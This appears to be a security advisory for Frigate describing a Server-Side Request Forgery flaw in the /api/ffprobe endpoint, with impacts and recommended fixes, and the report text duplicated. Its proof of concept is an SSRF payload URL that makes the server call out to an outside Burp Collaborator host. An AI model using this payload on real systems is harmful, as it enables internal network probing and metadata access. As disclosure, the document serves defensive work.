Summary
The /ffprobe endpoint accepts arbitrary user-controlled URLs without proper validation, allowing Server-Side Request Forgery (SSRF) attacks. An attacker can use the Frigate server to make HTTP requests to internal network resources, cloud metadata services, or perform port scanning.
Details
Location: /frigate/api/camera.py
The endpoint https://<frigate>/api/ffprobe?paths=<SSRF payload> accepts any URL without validation.
PoC
- Get access to frigate as low user (Viewer)
- Open this url, in my case is a burp collaborator:
https://<snip>/api/ffprobe?paths=https://m7u92o5zzurcgxtgt8kry1ugg7myaoyd.oastify.com
- After that server will send the request to my burp collaborator:
Impact
Information disclosure - Determine existence of internal hosts and services
Bypass firewall restrictions - Access internal services not exposed to internet
Port scan internal network - Enumerate services and open ports
Recommended Fixes
Valifate the paths arguments:
Add strict validation to accept only camera stream protocols and block access to internal resources.
Restrict access to the endpoint to authenticated admin users only:
Add dependencies=[Depends(require_role(["admin"]))]) to this endpoint.
Add Rate Limiting
Implement rate limiting to prevent abuse.
Summary
The /ffprobe endpoint accepts arbitrary user-controlled URLs without proper validation, allowing Server-Side Request Forgery (SSRF) attacks. An attacker can use the Frigate server to make HTTP requests to internal network resources, cloud metadata services, or perform port scanning.
Details
Location:
/frigate/api/camera.pyThe endpoint
https://<frigate>/api/ffprobe?paths=<SSRF payload>accepts any URL without validation.PoC
https://<snip>/api/ffprobe?paths=https://m7u92o5zzurcgxtgt8kry1ugg7myaoyd.oastify.comImpact
Information disclosure - Determine existence of internal hosts and services
Bypass firewall restrictions - Access internal services not exposed to internet
Port scan internal network - Enumerate services and open ports
Recommended Fixes
Valifate the paths arguments:
Add strict validation to accept only camera stream protocols and block access to internal resources.
Restrict access to the endpoint to authenticated admin users only:
Add
dependencies=[Depends(require_role(["admin"]))])to this endpoint.Add Rate Limiting
Implement rate limiting to prevent abuse.